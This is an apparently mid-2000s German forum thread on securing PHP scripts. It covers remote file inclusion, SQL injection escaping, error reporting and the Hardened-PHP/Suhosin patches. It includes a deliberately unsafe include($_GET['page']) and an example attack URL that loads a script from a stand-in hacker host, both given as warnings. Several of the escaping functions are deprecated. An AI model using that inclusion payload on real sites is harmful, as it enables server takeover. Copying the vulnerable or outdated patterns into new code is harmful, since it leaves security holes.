Es geht dabei in erster Linie um Variablen, genauer gesagt: Variablen die vom User beeinflusst werden koennen.
Wenn Du einen Code hast der vollkommen frei von Variablen ist (was natuerlich im Normalfall ziemlich sinnfrei ist) dann brauchst Du Dir im Grunde auch keine Gedanken machen ob da jemand was einschleusen kann, denn es gibt keinen Ansatzpunkt.
Anders sieht es halt aus wenn der User Formulare praesentiert bekommt und/oder Daten per URL uebergeben werden.
Dabei gilt die Devise: Es gibt zwei Arten von Usern: Dumme User und boese User!
Entsprechend muss man mit allem was der User uebergibt umgehen.

Ein paar sehr schoene Beispiele gibt es in der zuvor bereits geposteten Praesentation PHP Security by Example.
Es gibt natuerlich auch ein paar Einstellungen die einem bei PHP das Leben sicherer machen und daheim kann man ja sein PHP einstellen wie man lustig ist. Nur wird man daheim wohl kaum angegriffen, ausser man besorgt sich einen DynDNS-Namen und blaest den Hostnamen in die weite Welt hinaus.
Bei Hostern kann man sich aber nicht darauf verlassen, dass diese Einstellungen "auf sicher" gesetzt sind. Hoster koennen ihre Einstellungen ja durchaus mal aendern, oder Du wechselst zu einem anderen Hoster, und ploetzlich koennte ein riesiges Sicherheitsloch aufklappen weil Du den unglaublich boesen Code

PHP-Code:

include($_GET['page']); 


nutzt ohne vorher zu schauen ob $_GET['page'] ueberhaupt zulaessig ist. Mit allow_url_fopen=on kann hier per index.php?page=http://boeser.hacker.clan/fieses_script.php ein boesartiges Script eingebunden werden welches dann natuerlich auf dem Server alles machen kann was auch Deine Scripts koennen.

Das schoene an PHP ist ja, dass man sich daheim eine vollstaendige Testumgebung aufbauen kann und dort eben auch alle Freiheiten hat.
Ich handhabe das dabei so: Waehrend ich an etwas arbeite setze ich die Einstellunge restriktiv, um garnicht erst auf die Idee zu kommen Code zu nutzen der mir durch eine Einstellung deaktiviert/beschnitten werden koennte. Auch hab ich bei der Entwicklung volles Error-Reporting an (beim Test uebrigens spaeter auch). Fehler, Warnungen und Hinweise werden in der Phase systematisch ausradiert, nicht durch die Verwendung von @, sondern durch zusaetzliche Abfragen. @ kann man schonmal einsetzen, man sollte aber soweit moeglich darauf verzichten. Und wenn man es nutzt sollte man selbst moegliche Fehler behandeln.
Bei fsockopen() z.B. find ich es okay mit @ zu arbeiten. Es gibt keine andere Moeglichkeit zuerst zu testen ob ein Host erreichbar ist. Und ist er es nicht wird mit einer unschoenen Fehlermeldung abgebrochen. Dass nachfolgender Code der von der Verbindung abhaengig ist nicht ausgefuehrt werden kann und soll ist klar, aber es kann durchaus noch was anderes gemacht werden was nicht von fsockopen() abhaengig ist.
Mal ein Beispiel dazu:

PHP-Code:

//ganz viel Code
$http=@fsockopen('www.tutorials.de',80);
if ($http===false)
{
 echo 'Fehler: Verbindung zu tutorials.de kann nicht hergestellt werden!';
}
else
{
 //mach irgendwas mit der Verbindung
 fclose($http);
}
//noch mehr Code 


Besser waeren natuerlich Exceptions, die gibt es aber erst ab PHP5, aber auch das ist wie es aussieht noch nicht so weit verbreitet bei Hostern.

Nun zur Testphase: Da setz ich die Einstellungen "auf unsicher". So kann ich dann schauen ob meine Scripts auch ohne die Unterstuetzung von PHP-eigenen Mechanismen den Ideen boeser Menschen standhalten koennen oder ob ich mich zu sehr auf die Hilfe von PHP verlassen habe. Wenn ich hier irgendwas unerwuenschtes Feststelle, z.B. dass Code- oder SQL-Injections moeglich sind, dann wird dies gleich behoben und wieder getestet, eben bis es sicher genug ist.

Also ich habe hier jetzt mein ganz tolles selber gebasteltes Script (natürlich völlig unsicher) und jetzt würde ich daran mal gerne ein wenig lernen wegen Sicherheitssachen.

Habe jetzt viel von SQL Injections gehört und gelesen - habe versucht das bei meinem Script mal selber anzuwenden (also bei dem Eingabefeld im Formular mal:

PHP-Code:

UPDATE tabelle SET passwort='haha' WHERE id='1' 


und ähnliches Sachen eingegeben) - Allerdings hats nie hingehauen (Na ja, eher ) - Natürlich heißt das nicht, das mein Script sicher ist - wahrscheinlich war ich einfach nur zu blöd (bin ja kein Hacker ).

Nun ja, was genau sollte man als Standart auf jeden Fall machen zum Absichern?
Habe z.b. was davon gelesen (mein Gott habe ich viel dazu gelesen) das man vor jede abfrage ein addslashes() davor setzen soll - nur wohin und warum habe ich nicht wirklich kapiert...

Wäre nett wenn man mir da mal auf die Beine helfen könnte...

Hallo!

Mehr zu SQL-Injectios findest Du auch auf Wikipedia unter SQL-Injektion.

Dem nach muss nicht nur das Passwort escaped (maskiert) werden, sondern auch die ID.
Hierzu solltest Du die dafür vorgesehene Funktion mysql_real_escape_string() nutzen.

Beispiel:

PHP-Code:

$querry = "UPDATE `tabelle` SET `passwort`='".mysql_real_escape_string($_GET['passwort'])."' WHERE `id`='".mysql_real_escape_string($_GET['id'])."'"; 


Gruss Dr Dau

Hier ein netter Artikel der vor kurzem auf heise.de erschien, über ein Tool das Websites auf PHP Sicherheitslücken untersucht. Manche Leute haben das Geld ja...
http://www.heise.de/newsticker/meldung/75864

Zitat von NomadSoul

Auch sehr nützlich:
http://www.hardened-php.net/

Hardened-PHP hab ich ja nun schon eine Weile im Einsatz und muss sagen dass der Hardening-Patch eine ganz gute Sache ist. Und soweit scheint er auch nicht irgendwelchen Scripts in die Quere zu kommen.
Nun, Sinn meines Posts ist nun aber auf den Nachfolger des Hardening-Patches aufmerksam zu machen, namentlich ist dies Suhosin, welches aus einem Patch und einer eigenen Extension besteht.
Suhosin hab ich bisher nicht getestet, aber werd es mir wohl die Tage mal ansehen.

Okay, ich hab jetzt hier mein schickes, neues PHP 5.2.0 mit Suhosin-Patch und Suhosin-Extension.
Wie gesagt, mit dem Hardening-Patch hatte ich zuvor keinerlei Probleme, vor allem in Hinblick auf Fertig-Ware wie PHPMyAdmin und SquirrelMail.
Mit Suhosin sieht das offensichtlich ein wenig anders aus, denn Suhosin legt scheinbar PHPMyAdmin lahm. Wenn lediglich der Patch aktiv ist kann ich mich zwar einloggen, aber kann irgendwie keine Datenbank auswaehlen (PHPMyAdmin hab ich grad frisch aktualisiert um auszuschliessen, dass es an meiner alten Version liegt). Wenn ich dann auch noch die Extension aktiviere ist das Chaos komplett, dann ist selbst das Login nicht mehr moeglich. Ich seh dann lediglich folgendes:

Warning: mcrypt_encrypt() [function.mcrypt-encrypt]: The IV parameter must be as long as the blocksize in /usr/local/apache2/htdocs/phpmyadmin/libraries/mcrypt.lib.php on line 73

Warning: Cannot modify header information - headers already sent by (output started at /usr/local/apache2/htdocs/phpmyadmin/libraries/mcrypt.lib.php:73) in /usr/local/apache2/htdocs/phpmyadmin/libraries/auth/cookie.auth.lib.php on line 439

Warning: mcrypt_encrypt() [function.mcrypt-encrypt]: The IV parameter must be as long as the blocksize in /usr/local/apache2/htdocs/phpmyadmin/libraries/mcrypt.lib.php on line 73

Warning: Cannot modify header information - headers already sent by (output started at /usr/local/apache2/htdocs/phpmyadmin/libraries/mcrypt.lib.php:73) in /usr/local/apache2/htdocs/phpmyadmin/libraries/auth/cookie.auth.lib.php on line 447

Warning: Cannot modify header information - headers already sent by (output started at /usr/local/apache2/htdocs/phpmyadmin/libraries/mcrypt.lib.php:73) in /usr/local/apache2/htdocs/phpmyadmin/libraries/common.lib.php on line 1154

Als naechstes werde ich mal meine Website durchtesten und sehen ob es da irgendwelche lustigen "Nebenwirkungen" gibt. Wer auf PHPMyAdmin angewiesen ist sollte aber, wie es zur Zeit aussieht, noch die Finger von Suhosin lassen. Der Hardening-Patch hingegen scheint nicht so restriktiv zu sein, sodass PHPMyAdmin damit kein Problem darstellt. PHPPgAdmin, also fuer PostgreSQL-Datenbanken, hingegen scheint von Suhosin nicht beeindruckt zu sein.

Weitere Infos in Kuerze.

Nachtrag: Wenn man PHPMyAdmin auf HTTP-Authentication stellt kann man sich zumindest einloggen, auch wenn die Suhosin-Extension aktiv ist. Jedoch scheint weiterhin die Auswahl einer Datenbank, und somit sinnvolle Arbeit in PHPMyAdmin, unmoeglich zu sein.

Nachtrag 2: Okay, das PHPMyAdmin-Login funktioniert doch, man muss aber zuvor sicherstellen, dass man alle PHPMyAdmin-Cookies loescht, denn ansonsten scheint man den oben angefuehrten Fehler zu bekommen. Nur die Auswahl der Datenbanken geht noch immer nicht. Ich werd mal ein wenig im Code wuehlen und schauen woran das liegen koennte.

Nachtrag 3: Die Auswahl der Datenbanken funktioniert scheinbar nur ueber Links, aber nicht ueber die Combobox im linken Frame. Wenn man also dem Link "Databases" folgt und dann auf einen der Links fuer die Datenbanken klickt kommt man auch zur Datenbank.
Dadurch wuerde ich jetzt erstmal sagen, dass dem Einsatz von Suhosin erstmal nichts im Wege steht. Jedoch ist auf jeden Fall der eigene Code, und natuerlich auch Fertig-Ware, gruendlich zu testen ob denn auch alles laeuft.
In diesem Sinne gehe ich auch mal stark davon aus, dass man noch lange warten darf bis Hoster mal in Betracht ziehen den Hardening-Patch oder gar Suhosin zu nutzen da man den Kunden ja nicht durch verbesserte Sicherheit den Komfort kuerzen moechte.
Einen Vorteil koennte dies jedoch haben, dass User dazu erzogen werden den Code von Grund auf sicher zu gestalten und alle moeglichen Werte vernuenftig pruefen, zumindest halt nachdem die Website das erste Mal von Hackern zerlegt wurde und der Hoster eine boese Mail geschrieben hat.

Dementsprechend moechte ich auch demnaechst mal ein wenig Zeit investieren um hier, oder einem seperaten Thread mal 2 verschiedene php.inis vorzustellen, eine mit restriktiven Einstellungen, sodass man dadurch moeglichst flexiblen und von PHP-Einstellungen unabhaengigen Code schreiben kann, und eine mit lockeren Einstellungen, welche man dann nutzen sollte um seinen Code nach Schwachstellen abzusuchen und diese zu stopfen. Denn nur so kann man auch wirklich Code schreiben der moeglichst vielen Aenderungen an irgendwelchen PHP-Einstellungen und auch diversen Attacken (Cross-Site-Scripting, SQL-Injections) gewachsen ist. Man kann sich eben nicht darauf verlassen, dass man bei jedem Hoster die gleichen Einstellungen vorfindet, und wir wollen ja auch nicht jedes Mal wenn wir den Hoster wechseln, oder der aktuelle Hoster mal ein paar Einstellungen aendert, unseren Code neu schreiben, nicht?

Anregungen dazu, und natuerlich auch weitere Infos und Erfahrungen zum Hardening-Patch und zu Suhosin sind immer gern gesehen.

Nachtrag 4: Meine Website funktioniert uebrigens sowohl mit dem Suhosin-Patch als auch mit der Extension, das hatte ich beim vorherigen Nachtrag vergessen zu erwaehnen.

Nachtrag 5: Die Auswahl der Datenbanken ueber die Combobox scheint irgendwie nur im Konqueror nicht zu klappen. Im Firefox hab ich keine Probleme. Moeglicherweise hat Konqueror mit irgendeinem JavaScript ein paar Probleme. Es scheint also als waere auch PHPMyAdmin nicht durch Suhosin beeintraechtigt. Lediglich den in Nachtrag 2 aufgefuehrten Punkt sollte man beachten.

Zitat von Dr Dau

Hallo!
Beispiel:

PHP-Code:

$querry = "UPDATE `tabelle` SET `passwort`='".mysql_real_escape_string($_GET['passwort'])."' WHERE `id`='".mysql_real_escape_string($_GET['id'])."'"; 


Gruss Dr Dau

Hi,

Bei PHP.Net gibt es eine nette Funktion dazu:

PHP-Code:

// Variablen absichern
function quote_smart($value)
{
   // Ueberfluessige Maskierungen entfernen
   if (get_magic_quotes_gpc()) {
       $value = stripslashes($value);
   }
   // In Anfuehrungszeichen setzen, sofern keine Zahl
   // oder ein numerischer String vorliegt
   if (!is_numeric($value)) {
       $value = "'" . mysql_real_escape_string($value) . "'";
   }
   return $value;
} 


Ansonsten wollte ich mal fragen, wo ich bei Apache einstelle, dass ich alle Fehler ausgegeben bekomme.

Zitat von Dennis

Auch hab ich bei der Entwicklung volles Error-Reporting an (beim Test uebrigens spaeter auch).

Zitat von King Euro

Bei PHP.Net gibt es eine nette Funktion dazu:

Ich stehe mit solchen Funktionen irgendwie auf dem Kriegsfuss.

Zitat von King Euro

Ansonsten wollte ich mal fragen, wo ich bei Apache einstelle, dass ich alle Fehler ausgegeben bekomme.

Bei Apache garnicht..... sondern bei PHP..... in der php.ini:

Code :

1	error_reporting  =  E_ALL

Nicht vergessen, nach Änderungen an der Konfiguration den Apachen neustarten.

Alternativ kannst Du es aber auch im Script machen:

PHP-Code:

<?php
error_reporting(E_ALL);
?>

Zitat von King Euro

Hi,

Bei PHP.Net gibt es eine nette Funktion dazu:

PHP-Code:

// Variablen absichern
function quote_smart($value)
{
   // Ueberfluessige Maskierungen entfernen
   if (get_magic_quotes_gpc()) {
       $value = stripslashes($value);
   }
   // In Anfuehrungszeichen setzen, sofern keine Zahl
   // oder ein numerischer String vorliegt
   if (!is_numeric($value)) {
       $value = "'" . mysql_real_escape_string($value) . "'";
   }
   return $value;
} 


Ich hab bei mir aehnlichen Code (inspiriert durch diesen Code hier) eingebaut, jedoch aufgeteilt in 2 Funktionen da es von Zeit zu Zeit ja auch mal noetig ist uebergebene Werte auszugeben, und dort waeren die Magic-Quotes ja doch etwas haesslich.
Meine Funktionen sehen wie folgt aus:

PHP-Code:

function remove_magic_quotes($string)
{
    if (get_magic_quotes_gpc())
        {
            $string=stripslashes($string);
        }
    return $string;
}
function quote_string($string)
{
    global $sqldb;
    return $sqldb->escape_string(remove_magic_quotes($string));
} 


$sqldb ist hierbei eine Instanz meiner MultiSQL-Klasse. Die Methode escape_string() entspricht dann eben der jeweilige Escape-Funktion des gewaehlten DBMS (bei MySQL z.B. mysql_real_escape_string()).

Guten Abend.

Ich muss schon sagen das dieser Thread hier eine gute und wichtige entscheidung war. Vorrausgesetzt es wird auch alles gelesen

Nur denke ich das man den Feind am besten bekämpfen kann wenn man weis wie soetwas gemacht werden kann. Klar ist auch das man nicht hergehen kann und alle lücken und sicherheitsrelevante abschnitte bis ins kleinste Detail auseinander zu Pflücken denn dies könnte man dann wieder eine "Anleitung" zum ausnutzen der Lücken nennen.

Ich würde es begrüßen wenn jemand mögliche schwachstellen zeigen kann und eine Lösung dazu. Denn ich kann mir gut denken das viele lesen, hier in diesem Code sind möglichkeiten der SQLInc. usw nur wissen sie nicht wo oder verstehen nicht wie man sich dagegen schützen kann.

Mfg floHate

Nachtrag:

Ich hab noch eine lösung für eine SQL Abfrage:

PHP-Code:

<?php
    $sql = sprintf("SELECT
                        foo
                    FROM
                        tab
                    WHERE
                        ID = '%u';", $_POST['ID']);
?>

Egal was nun in 'ID' steht müsste eig. zu einer Zahl werden. Das heist das hinzufügen von Fremdcode ist nicht mehr möglich.

Bitte klärt mich auf fals ich damit falsch liebe aber dürfte stimmen

Mfg floHate

Ich weiß nicht, wo es sonst besser passen würde, deshalb poste ich es mal hier:
Stefan Esser verlässt das PHP Security Response Team

Bekannt ist er wohl am meisten als Leiter des Hardened PHP Project.

Und wieder einmal ist hier von Stefan Esser die Rede.

Für alle die ihn nicht kennen, ist der Post oben wohl eine Lesung wert, für alle anderen ist die folgende Website offen:
http://www.php-security.org/

Auf dieser ist heute der The Month of PHP Bugs eröffnet worden.

Um hier mal wieder was einzubringen.

Sowohl die Seiten des PHP Security Consortium als auch die Artikel von Chris Shifflet sind in Sachen PHP Security zu empfehlen.

hmm habe manche links benutzt und dass was mich eig. interessiert nicht gefunden...

bsp.

PHP-Code:

<?php 
// Muss hier die GET Variable auf irgendeiner Art escaped werden vll mit intval?
$get = $_GET['id'];

if(empty($get) || !is_numeric($get) ) {

die('ID existiert nicht oder interner Fehler');

} else {

$db = mysql_connect('localhost', 'root', '');

$dbs = mysql_select_db('test');

$command = sprintf(SELECT * FROM users WHERE id = %s, htmlspecialchars(mysql_real_escape_string($get)));

$query = mysql_query($command);

$f = mysql_fetch_assoc($query);

?>

Würde mich auf Antworten freuen, danke

MfG
KD3

Da es sich eindeutig um eine Zahl handelt (bzw. handeln soll) kannst du statt:

PHP-Code:

htmlspecialchars(mysql_real_escape_string($get)) 


auch

PHP-Code:

intval($get) 


benutzen.

Sollten HTML Zeichen drin sein, würde ja deine erste Prüfung bereits false melden, da es dann kein numerischer String mehr ist.